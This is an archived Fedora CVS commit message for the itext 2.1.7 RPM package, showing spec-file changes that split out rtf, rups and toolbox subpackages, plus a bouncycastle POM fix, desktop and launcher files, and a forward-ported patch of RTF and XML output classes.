@@ -70,6 +74,49 @@ especially useful in combination with Ja
 look and feel of HTML is browser dependent; with iText and PDF you can control
 exactly how your servlet's output will look.
 
+
+%package rtf
+Summary:        Library to output Rich Text Files
+Group:          Development/Libraries
+License:        MPLv1.1 or LGPLv2+
+Requires:       %{name} = %{version}-%{release}
+
+%description rtf
+The RTF package is an extension of the iText library and allows iText to output
+Rich Text Files in additon to PDF files. These files can then be viewed and
+edited with RTF viewers such as OpenOffice.org Writer.
+
+
+%package rups
+Summary:        Reading/Updating PDF Syntax
+Group:          Applications/Productivity
+License:        LGPLv2+ and CC-BY
+Requires:       %{name} = %{version}-%{release}
+Requires:       dom4j
+Requires:       pdf-renderer
+
+%description rups
+iText RUPS is a tool that combines SUN's PDF Renderer (to view PDF documents),
+iText's PdfReader (to inspect the internal structure of a PDF file), and
+iText's PdfStamper to manipulate a PDF file.
+
+
+%package toolbox
+Summary:        Some %{alternate_name} tools
+Group:          Applications/Productivity
+License:        MPLv1.1 or MIT
+Requires:       %{name} = %{version}-%{release}
+Requires:       java >= 1.5
+
+
+%description toolbox
+iText is a free open source Java-PDF library released on SF under the MPL/LGPL;
+iText comes with a simple GUI: the iText toolbox. The original developers of
+iText want to publish this toolbox as a separate project under the more
+permissive MIT license. This is a utility that allows you to use a number of
+iText tools. 
+
+
 %package javadoc
 Summary:        Javadoc for %{alternate_name}
 Group:          Documentation
@@ -79,6 +126,7 @@ Requires:       jpackage-utils
 %description javadoc
 API documentation for the %{alternate_name} package.
 
+
 %prep
 %setup -q -c -T -a 0
 %patch1 -p1 -b .pdftk
@@ -95,7 +143,7 @@ touch -r src/rups/com/lowagie/rups/view/
 mv -f tmpfile src/rups/com/lowagie/rups/view/icons/copyright_notice.txt
 
 mkdir lib
-build-jar-repository -s -p lib bcprov bcmail pdf-renderer dom4j
+build-jar-repository -s -p lib bcprov bcmail bctsp pdf-renderer dom4j
 
 # Remove jdk & version numbers from classpath entries
 for file in src/ant/{*,.ant*}; do
@@ -114,7 +162,7 @@ sed -i 's|debug="true"||g' src/ant/compi
 %build
 export CLASSPATH=$(build-classpath bcprov bcmail bctsp pdf-renderer dom4j)
 pushd src
-ant jar javadoc
+ant jar jar.rups jar.rtf jar.toolbox javadoc
 popd
 
 %install
@@ -124,9 +172,37 @@ rm -rf $RPM_BUILD_ROOT
 mkdir -p $RPM_BUILD_ROOT%{_javadir}
 cp -p lib/iText.jar \
       $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
+cp -p lib/iText-rtf.jar \
+      $RPM_BUILD_ROOT%{_javadir}/%{name}-rtf-%{version}.jar
+cp -p lib/iText-rups.jar \
+      $RPM_BUILD_ROOT%{_javadir}/%{name}-rups-%{version}.jar
+cp -p lib/iText-toolbox.jar \
+      $RPM_BUILD_ROOT%{_javadir}/%{name}-toolbox-%{version}.jar
 (cd $RPM_BUILD_ROOT%{_javadir} && for jar in *-%{version}.jar; do \
       ln -sf ${jar} `echo $jar| sed "s|-%{version}||g"`; done)
 
+mkdir -p $RPM_BUILD_ROOT%{_bindir}
+mkdir -p $RPM_BUILD_ROOT%{_datadir}/applications
+# rups stuff
+install -pm 755 %{SOURCE3} $RPM_BUILD_ROOT%{_bindir}/%{name}-rups
+desktop-file-install \
+      --dir=${RPM_BUILD_ROOT}%{_datadir}/applications \
+      %{SOURCE4}
+
+# toolbox stuff
+install -pm 755 %{SOURCE5} $RPM_BUILD_ROOT%{_bindir}/%{name}-toolbox
+desktop-file-install \
+      --dir=${RPM_BUILD_ROOT}%{_datadir}/applications \
+      %{SOURCE6}
+
+# icon for rups and toolbox
+mkdir -p $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/128x128/apps
+convert -resize 128x128 src/toolbox/com/lowagie/toolbox/1t3xt.gif %{name}.png
+cp -a %{name}.png \
+      $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/128x128/apps/%{name}-rups.png
+cp -a %{name}.png \
+      $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/128x128/apps/%{name}-toolbox.png
+
 %if %{with_gcj}
  RPM_OPT_FLAGS="$RPM_OPT_FLAGS -fno-indirect-classes" %{_bindir}/aot-compile-rpm
 %endif
@@ -162,16 +238,73 @@ if [ -x %{_bindir}/rebuild-gcj-db ]
  fi
 %endif
 
+%post rups
+touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :
+
+%postun rups
+if [ $1 -eq 0 ] ; then
+    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
+    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
+fi
+
+%posttrans rups
+gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
+
+%post toolbox
+touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :
+
+%postun toolbox
+if [ $1 -eq 0 ] ; then
+    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
+    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
+fi
+
+%posttrans toolbox
+gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
+
 
 %files
 %defattr(-,root,root,-)
 %doc build/bin/com/lowagie/text/{apache_license,lgpl,misc_licenses,MPL-1.1}.txt
-%doc src/rups/com/lowagie/rups/view/icons/copyright_notice.txt
-%{_javadir}/*
+%{_javadir}/%{name}.jar
+%{_javadir}/%{name}-%{version}.jar
 %{_mavenpomdir}/JPP-itext.pom
 %{_mavendepmapfragdir}/%{name}
 %if %{with_gcj}
-%{_libdir}/gcj/%{name}
+%dir %{_libdir}/gcj/%{name}
+%{_libdir}/gcj/%{name}/%{name}-%{version}.*
+%endif
+
+%files rtf
+%defattr(-,root,root,-)
+%{_javadir}/%{name}-rtf.jar
+%{_javadir}/%{name}-rtf-%{version}.jar
+%if %{with_gcj}
+%{_libdir}/gcj/%{name}/%{name}-rtf-%{version}.*
+%endif
+
+%files rups
+%defattr(-,root,root,-)
+%doc src/rups/com/lowagie/rups/view/icons/copyright_notice.txt
+%{_javadir}/%{name}-rups.jar
+%{_javadir}/%{name}-rups-%{version}.jar
+%{_bindir}/%{name}-rups
+%{_datadir}/applications/%{name}-rups.desktop
+%{_datadir}/icons/hicolor/128x128/apps/%{name}-rups.png
+%if %{with_gcj}
+%{_libdir}/gcj/%{name}/%{name}-rups-%{version}.*
+%endif
+
+%files toolbox
+%defattr(-,root,root,-)
+%doc src/toolbox/com/lowagie/toolbox/tools.txt
+%{_javadir}/%{name}-toolbox.jar
+%{_javadir}/%{name}-toolbox-%{version}.jar
+%{_bindir}/%{name}-toolbox
+%{_datadir}/applications/%{name}-toolbox.desktop
+%{_datadir}/icons/hicolor/128x128/apps/%{name}-toolbox.png
+%if %{with_gcj}
+%{_libdir}/gcj/%{name}/%{name}-toolbox-%{version}.*
 %endif
 
 %files javadoc
@@ -181,6 +314,10 @@ if [ -x %{_bindir}/rebuild-gcj-db ]
 # -----------------------------------------------------------------------------
 
 %changelog
+* Thu Oct 01 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 2.1.7-5
+- Separate rtf, rups and toolbox packages
+- Reduce dependencies of the main package (RHBZ#524066)
+
 * Thu Aug 27 2009 Andrew Overholt <overholt at redhat.com> 2.1.7-4
 - Patch POM file due to explicit "jdk14" requirement on bouncycastle
 - Patch in XML output classes from earlier version (their license is



From oget at fedoraproject.org  Fri Oct  2 06:41:22 2009
From: oget at fedoraproject.org (Orcan Ogetbil)
Date: Fri,  2 Oct 2009 06:41:22 +0000 (UTC)
Subject: rpms/itext/F-11 itext-2.1.7-fixpomforbc.patch, NONE,
	1.1 itext-2.1.7.pom, NONE, 1.1 itext-rups.desktop, NONE,
	1.1 itext-rups.sh, NONE, 1.1 itext-toolbox.desktop, NONE,
	1.1 itext-toolbox.sh, NONE, 1.1 itext-xmloutput.patch, NONE,
	1.1 itext.spec, 1.20, 1.21
Message-ID: <20091002064122.3B59811C00C1@cvs1.fedora.phx.redhat.com>

Author: oget

Update of /cvs/pkgs/rpms/itext/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10892

Modified Files:
	itext.spec 
Added Files:
	itext-2.1.7-fixpomforbc.patch itext-2.1.7.pom 
	itext-rups.desktop itext-rups.sh itext-toolbox.desktop 
	itext-toolbox.sh itext-xmloutput.patch 
Log Message:
* Thu Oct 01 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 2.1.7-5
- Separate rtf, rups and toolbox packages
- Reduce dependencies of the main package (RHBZ#524066)


itext-2.1.7-fixpomforbc.patch:
 JPP-itext.pom |   14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE itext-2.1.7-fixpomforbc.patch ---
diff -up ./JPP-itext.pom.orig ./JPP-itext.pom
--- ./JPP-itext.pom.orig	2009-08-27 13:58:26.000000000 -0400
+++ ./JPP-itext.pom	2009-08-27 13:58:45.000000000 -0400
@@ -65,18 +65,18 @@
 	</scm>
 	<dependencies>
 		<dependency>
-			<groupId>bouncycastle</groupId>
-			<artifactId>bcmail-jdk14</artifactId>
+			<groupId>org.bouncycastle</groupId>
+			<artifactId>bcmail-jdk16</artifactId>
 			<version>138</version>
 		</dependency>
 		<dependency>
-			<groupId>bouncycastle</groupId>
-			<artifactId>bcprov-jdk14</artifactId>
+			<groupId>org.bouncycastle</groupId>
+			<artifactId>bcprov-jdk16</artifactId>
 			<version>138</version>
 		</dependency>
 		<dependency>
-			<groupId>bouncycastle</groupId>
-			<artifactId>bctsp-jdk14</artifactId>
+			<groupId>org.bouncycastle</groupId>
+			<artifactId>bctsp-jdk16</artifactId>
 			<version>138</version>
 		</dependency>
 	</dependencies>
@@ -97,4 +97,4 @@
 			</plugin>
 		</plugins>
 	</build>
-</project>
\ No newline at end of file
+</project>


--- NEW FILE itext-2.1.7.pom ---
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
	<modelVersion>4.0.0</modelVersion>
	<groupId>com.lowagie</groupId>
	<artifactId>itext</artifactId>
	<packaging>jar</packaging>
	<name>iText, a Free Java-PDF library</name>
	<version>2.1.7</version>
	<description>iText, a free Java-PDF library</description>
	<url>http://www.lowagie.com/iText/</url>
	<mailingLists>
		<mailingList>
			<name>iText Questions</name>
			<subscribe>
				http://lists.sourceforge.net/lists/listinfo/itext-questions
			</subscribe>
			<post>itext-questions at lists.sourceforge.net</post>
			<archive>
				http://news.gmane.org/gmane.comp.java.lib.itext.general
			</archive>
			<otherArchives>
				<otherArchive>http://www.nabble.com/iText---General-f2701.html</otherArchive>
				<otherArchive>http://www.junlu.com/2.html</otherArchive>
				<otherArchive>http://sourceforge.net/mailarchive/forum.php?forum_id=3273</otherArchive>
				<otherArchive>http://www.mail-archive.com/itext-questions%40lists.sourceforge.net/</otherArchive>
			</otherArchives>
		</mailingList>
	</mailingLists>
	<developers>
		<developer>
			<id>blowagie</id>
			<name>Bruno Lowagie</name>
			<email>bruno at lowagie.com</email>
			<url>http://www.lowagie.com</url>
		</developer>
		<developer>
			<id>psoares33</id>
			<name>Paulo Soares</name>
			<email>psoares33 at users.sourceforge.net</email>
		</developer>
		<developer>
			<id>hallm</id>
			<name>Mark Hall</name>
			<email>hallm at users.sourceforge.net</email>
		</developer>
		<developer>
			<id>xlv</id>
			<name>Xavier Le Vourch</name>
			<email>xlv at users.sourceforge.net</email>
		</developer>
	</developers>
	<licenses>
		<license>
			<name>Mozilla Public License</name>
			<url>http://www.mozilla.org/MPL/MPL-1.1.html</url>
			<comments>
				iText was originally published under the LGPLicense.
				LGPL can be used as an alternative license for the MPL.
			</comments>
		</license>
	</licenses>
	<scm>
		<connection>scm:svn:http://itext.svn.sourceforge.net/svnroot/itext</connection>
		<url>http://itext.svn.sourceforge.net/viewvc/itext</url>
	</scm>
	<dependencies>
		<dependency>
			<groupId>bouncycastle</groupId>
			<artifactId>bcmail-jdk14</artifactId>
			<version>138</version>
		</dependency>
		<dependency>
			<groupId>bouncycastle</groupId>
			<artifactId>bcprov-jdk14</artifactId>
			<version>138</version>
		</dependency>
		<dependency>
			<groupId>bouncycastle</groupId>
			<artifactId>bctsp-jdk14</artifactId>
			<version>138</version>
		</dependency>
	</dependencies>
	<build>
		<plugins>
			<plugin>
				<groupId>org.apache.maven.plugins</groupId>
				<artifactId>maven-jar-plugin</artifactId>
				<configuration>
					<archive>
						<manifest>
							<mainClass>
								com.lowagie.tools.ToolboxAvailable
							</mainClass>
						</manifest>
					</archive>
				</configuration>
			</plugin>
		</plugins>
	</build>
</project>

--- NEW FILE itext-rups.desktop ---
[Desktop Entry]
Name=iText RUPS
GenericName=Reading/Updating PDF Syntax
Comment=a GUI application that allows you to look inside a PDF
Exec=itext-rups
Icon=itext-rups
Terminal=false
Type=Application
Categories=Utility;


--- NEW FILE itext-rups.sh ---
#!/bin/sh

# source the jpackage helpers
VERBOSE=1
. /usr/share/java-utils/java-functions

# set JAVA_* environment variables
set_javacmd
check_java_env
set_jvm_dirs


DATADIR=/usr/share/java
CLASSPATH=${DATADIR}/bcprov.jar:${DATADIR}/bcmail.jar:${DATADIR}/bctsp.jar:${DATADIR}/itext.jar:${DATADIR}/itext-rups.jar:${DATADIR}/dom4j.jar:${DATADIR}/pdf-renderer.jar

set_options "-cp ${CLASSPATH}"

MAIN_CLASS="com.lowagie.rups.Rups"

run


--- NEW FILE itext-toolbox.desktop ---
[Desktop Entry]
Name=iText Toolbox
GenericName=PDF Utility
Comment=A utility that allows to use a number of iText tools
Exec=itext-toolbox
Icon=itext-toolbox
Terminal=false
Type=Application
Categories=Utility;


--- NEW FILE itext-toolbox.sh ---
#!/bin/sh

# source the jpackage helpers
VERBOSE=1
. /usr/share/java-utils/java-functions

# set JAVA_* environment variables
set_javacmd
check_java_env
set_jvm_dirs


DATADIR=/usr/share/java
CLASSPATH=${DATADIR}/bcprov.jar:${DATADIR}/bcmail.jar:${DATADIR}/bctsp.jar:${DATADIR}/itext.jar:${DATADIR}/itext-toolbox.jar

set_options "-cp ${CLASSPATH}"

MAIN_CLASS="com.lowagie.toolbox.Toolbox"

run

itext-xmloutput.patch:
 markup/MarkupTags.java    |  266 +++++
 rtf/AbstractRtfField.java |  358 +++++++
 rtf/GenericRtfField.java  |  139 ++
 rtf/RtfCell.java          |  549 ++++++++++
 rtf/RtfField.java         |   84 +
 rtf/RtfHeaderFooter.java  |  114 ++
 rtf/RtfHeaderFooters.java |  160 +++
 rtf/RtfPageNumber.java    |  105 ++
 rtf/RtfRow.java           |  443 ++++++++
 rtf/RtfTOC.java           |  187 +++
 rtf/RtfTOCEntry.java      |  174 +++
 rtf/RtfTable.java         |  201 ++++
 rtf/RtfTableCell.java     |  392 +++++++
 rtf/RtfWriter.java        | 2298 ++++++++++++++++++++++++++++++++++++++++++++++
 xml/XmlToHtml.java        |  144 ++
 xml/XmlToPdf.java         |  144 ++
 xml/XmlToRtf.java         |  144 ++
 xml/XmlToXXX.java         |  147 ++
 18 files changed, 6049 insertions(+)

--- NEW FILE itext-xmloutput.patch ---
### Eclipse Workspace Patch 1.0
#P iText-2.1.7
Index: src/core/com/lowagie/text/rtf/RtfTableCell.java
===================================================================
--- src/core/com/lowagie/text/rtf/RtfTableCell.java	(revision 0)
+++ src/core/com/lowagie/text/rtf/RtfTableCell.java	(revision 0)
@@ -0,0 +1,392 @@
+/*
+ * The contents of this file are subject to the Mozilla Public License Version 1.1
+ * (the "License"); you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the License.
+ *
+ * The Original Code is 'iText, a free JAVA-PDF library'.
+ *
+ * The Initial Developer of the Original Code is Bruno Lowagie. Portions created by
+ * the Initial Developer are Copyright (C) 1999, 2000, 2001, 2002 by Bruno Lowagie.
+ * All Rights Reserved.
+ * Co-Developer of the code is Paulo Soares. Portions created by the Co-Developer
+ * are Copyright (C) 2000, 2001, 2002 by Paulo Soares. All Rights Reserved.
+ *
+ * Contributor(s): all the names of the contributors are added in the source code
+ * where applicable.
+ *
+ * Alternatively, the contents of this file may be used under the terms of the
+ * LGPL license (the "GNU LIBRARY GENERAL PUBLIC LICENSE"), in which case the
+ * provisions of LGPL are applicable instead of those above.  If you wish to
+ * allow use of your version of this file only under the terms of the LGPL
+ * License and not to allow others to use your version of this file under
+ * the MPL, indicate your decision by deleting the provisions above and
+ * replace them with the notice and other provisions required by the LGPL.
+ * If you do not delete the provisions above, a recipient may use your version
+ * of this file under either the MPL or the GNU LIBRARY GENERAL PUBLIC LICENSE.
+ *
+ * This library is free software; you can redistribute it and/or modify it
+ * under the terms of the MPL as stated above or under the terms of the GNU
+ * Library General Public License as published by the Free Software Foundation;
+ * either version 2 of the License, or any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+ * FOR A PARTICULAR PURPOSE. See the GNU Library general Public License for more
+ * details.
+ *
+ * If you didn't download this code from the following link, you should check if
+ * you aren't using an obsolete version:
+ * http://www.lowagie.com/iText/
+ */
+
+package com.lowagie.text.rtf;
+
+import com.lowagie.text.Cell;
+import com.lowagie.text.Element;
+import com.lowagie.text.BadElementException;
+
+import java.util.Properties;
+
+/**
+ * A <code>Cell</code> with extended style attributes
+ *
+ * ONLY FOR USE WITH THE RtfWriter NOT with the RtfWriter2.
+ * @deprecated Please move to the RtfWriter2 and associated classes. com.lowagie.text.rtf.table.RtfCell replaces the functionality of this class.
+ */
+public class RtfTableCell extends Cell
+{
+    /* Table border styles */
+
+    /** Table border solid */
+    public static final int BORDER_UNDEFINED = 0;
+
+    /** Table border solid */
+    public static final int BORDER_SINGLE = 1;
+
+    /** Table border double thickness */
+    public static final int BORDER_DOUBLE_THICK = 2;
+
+    /** Table border shadowed */
+    public static final int BORDER_SHADOWED = 3;
+
+    /** Table border dotted */
+    public static final int BORDER_DOTTED = 4;
+
+    /** Table border dashed */
+    public static final int BORDER_DASHED = 5;
+
+    /** Table border hairline */
+    public static final int BORDER_HAIRLINE = 6;
+
+    /** Table border double line */
+    public static final int BORDER_DOUBLE = 7;
+
+    /** Table border dot dash line */
+    public static final int BORDER_DOT_DASH = 8;
+
+    /** Table border dot dot dash line */
+    public static final int BORDER_DOT_DOT_DASH = 9;
+
+    /** Table border triple line */
+    public static final int BORDER_TRIPLE = 10;
+
+    /** Table border line */
+    public static final int BORDER_THICK_THIN = 11;
+
+    /** Table border line */
+    public static final int BORDER_THIN_THICK = 12;
+
+    /** Table border line */
+    public static final int BORDER_THIN_THICK_THIN = 13;
+
+    /** Table border line */
+    public static final int BORDER_THICK_THIN_MED = 14;
+
+    /** Table border line */
+    public static final int BORDER_THIN_THICK_MED = 15;
+
+    /** Table border line */
+    public static final int BORDER_THIN_THICK_THIN_MED = 16;
+
+    /** Table border line */
+    public static final int BORDER_THICK_THIN_LARGE = 17;
+
+    /** Table border line */
+    public static final int BORDER_THIN_THICK_LARGE = 18;
+
+    /** Table border line */
+    public static final int BORDER_THIN_THICK_THIN_LARGE = 19;
+
+    /** Table border line */
+    public static final int BORDER_WAVY = 20;
+
+    /** Table border line */
+    public static final int BORDER_DOUBLE_WAVY = 21;
+
+    /** Table border line */
+    public static final int BORDER_STRIPED = 22;
+
+    /** Table border line */
+    public static final int BORDER_EMBOSS = 23;
+
+    /** Table border line */
+    public static final int BORDER_ENGRAVE = 24;
+
+    /* Instance variables */
+    private float topBorderWidth;
+    private float leftBorderWidth;
+    private float rightBorderWidth;
+    private float bottomBorderWidth;
+    private int topBorderStyle = 1;
+    private int leftBorderStyle = 1;
+    private int rightBorderStyle = 1;
+    private int bottomBorderStyle = 1;
+
+/**
+ * Constructs an empty <CODE>Cell</CODE> (for internal use only).
+ *
+ * @param   dummy   a dummy value
+ */
+
+    public RtfTableCell(boolean dummy) {
+        super(dummy);
+    }
+
+/**
+ * Constructs a <CODE>Cell</CODE> with a certain <CODE>Element</CODE>.
+ * <P>
+ * if the element is a <CODE>ListItem</CODE>, <CODE>Row</CODE> or
+ * <CODE>Cell</CODE>, an exception will be thrown.
+ *
+ * @param	element		the element
+ * @throws	BadElementException when the creator was called with a <CODE>ListItem</CODE>, <CODE>Row</CODE> or <CODE>Cell</CODE>
+ */
+    public RtfTableCell(Element element) throws BadElementException {
+        super(element);
+    }
+
+/**
+ * Constructs a <CODE>Cell</CODE> with a certain content.
+ * <P>
+ * The <CODE>String</CODE> will be converted into a <CODE>Paragraph</CODE>.
+ *
+ * @param	content		a <CODE>String</CODE>
+ */
+    public RtfTableCell(String content) {
+        super(content);
+    }
+
+///**
+// * Returns a <CODE>Cell</CODE> that has been constructed taking in account
+// * the value of some <VAR>attributes</VAR>.
+// *
+// * @param	attributes		Some attributes
+// */
+//
+//    public RtfTableCell(Properties attributes) {
+//        super(attributes);
+//    }
[...5797 lines suppressed...]
+ * @deprecated Please move to the RtfWriter2 and associated classes. com.lowagie.text.rtf.headerfooter.RtfHeaderFooter replaces the functionality of this class.
+ */
+public class RtfHeaderFooter extends HeaderFooter {
+
+
+    private Element content = null;
+
+        
+    /**
+     * Constructs a new header
+     * @param before
+     * @param after
+     */
+    public RtfHeaderFooter( Phrase before, Phrase after ) {
+        super( before, after );    
+    }    
+
+
+    /**
+     * Constructs a new header
+     * @param before
+     * @param numbered
+     */
+    public RtfHeaderFooter( Phrase before, boolean numbered ) {
+        super( before, numbered );
+    }    
+
+
+    /**
+     * Constructs a new header
+     * @param content
+     */
+    public RtfHeaderFooter( Element content ) {
+        super(new Phrase(content.toString()), false);
+        this.content = content;
+    }    
+
+
+    /**
+     * @return the element specified in the ctor or null;
+     */
+    public Element content() {
+        return content;
+    }
+}

Property changes on: src/core/com/lowagie/text/rtf/RtfHeaderFooter.java
___________________________________________________________________
Added: svn:executable
   + *

Index: src/core/com/lowagie/text/xml/XmlToHtml.java
===================================================================
--- src/core/com/lowagie/text/xml/XmlToHtml.java	(revision 0)
+++ src/core/com/lowagie/text/xml/XmlToHtml.java	(revision 0)
@@ -0,0 +1,144 @@
+/*
+ * Copyright 2002 by Matt Benson.
+ *
+ * The contents of this file are subject to the Mozilla Public License Version 1.1
+ * (the "License"); you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the License.
+ *
+ * The Original Code is 'iText, a free JAVA-PDF library'.
+ *
+ * The Initial Developer of the Original Code is Bruno Lowagie. Portions created by
+ * the Initial Developer are Copyright (C) 1999, 2000, 2001, 2002 by Bruno Lowagie.
+ * All Rights Reserved.
+ * Co-Developer of the code is Paulo Soares. Portions created by the Co-Developer
+ * are Copyright (C) 2000, 2001, 2002 by Paulo Soares. All Rights Reserved.
+ *
+ * Contributor(s): all the names of the contributors are added in the source code
+ * where applicable.
+ *
+ * Alternatively, the contents of this file may be used under the terms of the
+ * LGPL license (the "GNU LIBRARY GENERAL PUBLIC LICENSE"), in which case the
+ * provisions of LGPL are applicable instead of those above.  If you wish to
+ * allow use of your version of this file only under the terms of the LGPL
+ * License and not to allow others to use your version of this file under
+ * the MPL, indicate your decision by deleting the provisions above and
+ * replace them with the notice and other provisions required by the LGPL.
+ * If you do not delete the provisions above, a recipient may use your version
+ * of this file under either the MPL or the GNU LIBRARY GENERAL PUBLIC LICENSE.
+ *
+ * This library is free software; you can redistribute it and/or modify it
+ * under the terms of the MPL as stated above or under the terms of the GNU
+ * Library General Public License as published by the Free Software Foundation;
+ * either version 2 of the License, or any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+ * FOR A PARTICULAR PURPOSE. See the GNU Library general Public License for more
+ * details.
+ *
+ * If you didn't download this code from the following link, you should check if
+ * you aren't using an obsolete version:
+ * http://www.lowagie.com/iText/
+ */
+
+package com.lowagie.text.xml;
+
+
+import java.io.OutputStream;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+
+import com.lowagie.text.Document;
+import com.lowagie.text.DocumentException;
+import com.lowagie.text.html.HtmlWriter;
+
+
+/**
+ * HTML-specific subclass of <code>XmlToXXX</code>.
+ *
+ * @version 1.0
+ * @author <a href="mailto:orangeherbert at users.sourceforge.net">Matt Benson</a>
+ */
+public class XmlToHtml
+ extends XmlToXXX
+{
+	
+/**
+ * Construct an <CODE>XmlToHtml</CODE> with the default page size.
+ */
+	public XmlToHtml()
+	{
+		super();
+	}//end default constructor
+	
+	
+/**
+ * Construct an <CODE>XmlToHtml</CODE> with the specified page size.
+ * @param pageSize   <CODE>String</CODE> page size name from
+ * <CODE>com.lowagie.text.PageSize</CODE>.
+ */
+	public XmlToHtml(String pageSize)
+	{
+		super(pageSize);
+	}//end constructor(String)
+	
+	
+/**
+ * Add a <CODE>DocWriter</CODE> for the specified <CODE>Document</CODE> and
+ * <CODE>OutputStream</CODE>.
+ * @param doc The document to which content will be added
+ * @param out The outputstream where the HTML will be sent to
+ * @throws DocumentException if document errors occur.
+ */	
+	protected final void addWriter(Document doc, OutputStream out)
+	 throws DocumentException
+	{
+		HtmlWriter.getInstance(doc, out);
+	}//end addWriter
+	
+	
+/**
+ * Main method of the <CODE>XmlToHtml</CODE> class.
+ * @param args   <CODE>String[]</CODE> of command-line arguments.
+ */
+	public static void main(String[] args)
+	{
+		int code = 0;
+		
+		if (args.length > 1)
+		{
+			try
+			{
+				XmlToHtml x;
+				if (args.length > 2)
+				{
+					x = new XmlToHtml(args[2]);
+				}//end if at least 3 args
+				else
+				{
+					x = new XmlToHtml();
+				}//end else, only 2 args
+				
+				x.parse(new FileInputStream(args[0]), new FileOutputStream(args[1]));
+			}//end try to do everything
+			catch (Exception ex)
+			{
+				code = 2;
+				ex.printStackTrace(System.err);
+			}//end catch Exception
+		}//end if at least 2 args
+		else
+		{
+			code = 1;
+			System.err.println(
+			 "Usage:  XmlToHtml [XML file in] [PDF file out] [optional page size]");
+		}//end else, not enough arguments
+		
+		System.exit(code);
+	}//end main
+	
+}//end class XmlToHtml


Index: itext.spec
===================================================================
RCS file: /cvs/pkgs/rpms/itext/F-11/itext.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- itext.spec	10 Jul 2009 02:34:28 -0000	1.20
+++ itext.spec	2 Oct 2009 06:41:21 -0000	1.21
@@ -1,45 +1,122 @@
 %global with_gcj %{!?_without_gcj:1}%{?_without_gcj:0}
 %global alternate_name iText
 
-Summary:        A Free Java-PDF library
-Name:           itext
-Version:        2.1.7
-Release:        1%{?dist}
-License:        (LGPLv2+ or MPLv1.1) and ASL 2.0 and BSD and MIT and LGPLv2+ and CC-BY
-URL:            http://www.lowagie.com/iText/
-Group:          Development/Libraries
-Source0:        http://downloads.sourceforge.net/itext/iText-src-%{version}.tar.gz
-Patch1:         itext-2.1.5-pdftk.patch
-BuildRequires:  ant
-BuildRequires:  bouncycastle-tsp
-BuildRequires:  dom4j
-BuildRequires:  pdf-renderer
-BuildRequires:  java-devel >= 1.5
-BuildRequires:  jpackage-utils
+Summary:          A Free Java-PDF library
+Name:             itext
+Version:          2.1.7
+Release:          5%{?dist}
+License:          (LGPLv2+ or MPLv1.1) and ASL 2.0 and BSD and LGPLv2+
+URL:              http://www.lowagie.com/iText/
+Group:            Development/Libraries
+Source0:          http://downloads.sourceforge.net/itext/iText-src-%{version}.tar.gz
+Source2:          http://repo2.maven.org/maven2/com/lowagie/itext/%{version}/itext-%{version}.pom
+Source3:          itext-rups.sh
+Source4:          itext-rups.desktop
+Source5:          itext-toolbox.sh
+Source6:          itext-toolbox.desktop
+Patch1:           itext-2.1.5-pdftk.patch
+
+# The iText POM specifies that it requires bouncycastle's "jdk14" JARs
+# but we have "jdk16".
+Patch2:           itext-2.1.7-fixpomforbc.patch
+# Maven's Doxia plugin explicitly requires these XML output interfaces
+# of iText.  They were removed in iText 1.4.4 [1].  iText versions prior
+# to 1.5.x had questionable licensing [2] so rather than try to create
+# an itext1 package, I have forward-ported these classes.  The doxia
+# developers have told me on IRC on 2009-08-27 that the iText dependency
+# will likely be deprecated meaning we won't have to keep these forever.
+# 
+# I've opened a bug with iText:
+# 
+# https://sourceforge.net/tracker/?func=detail&aid=2846427&group_id=15255&atid=365255 
+# 
+# and commented on the Doxia but related to this:
+#
+# http://jira.codehaus.org/browse/DOXIA-53
+#
+# -- Andrew Overholt, 2009-08-28
+# 
+# [1]
+# http://www.1t3xt.com/about/history.php?branch=history.10&node=14
+# [2]
+# https://bugzilla.redhat.com/show_bug.cgi?id=236309
+Patch3:           itext-xmloutput.patch
+
+BuildRequires:    ant
+BuildRequires:    bouncycastle-tsp
+BuildRequires:    desktop-file-utils
+BuildRequires:    dom4j
+BuildRequires:    ImageMagick
+BuildRequires:    pdf-renderer
+BuildRequires:    java-devel >= 1.7
+BuildRequires:    jpackage-utils
 %if %{with_gcj}
 BuildRequires:    java-gcj-compat-devel
 Requires(post):   java-gcj-compat
 Requires(postun): java-gcj-compat
 Requires:         java-1.5.0-gcj
 %else
-BuildArch:      noarch
+BuildArch:        noarch
 %endif
-BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-Requires:       bouncycastle-tsp
-Requires:       dom4j
-Requires:       java >= 1.5
-Requires:       jpackage-utils >= 1.5
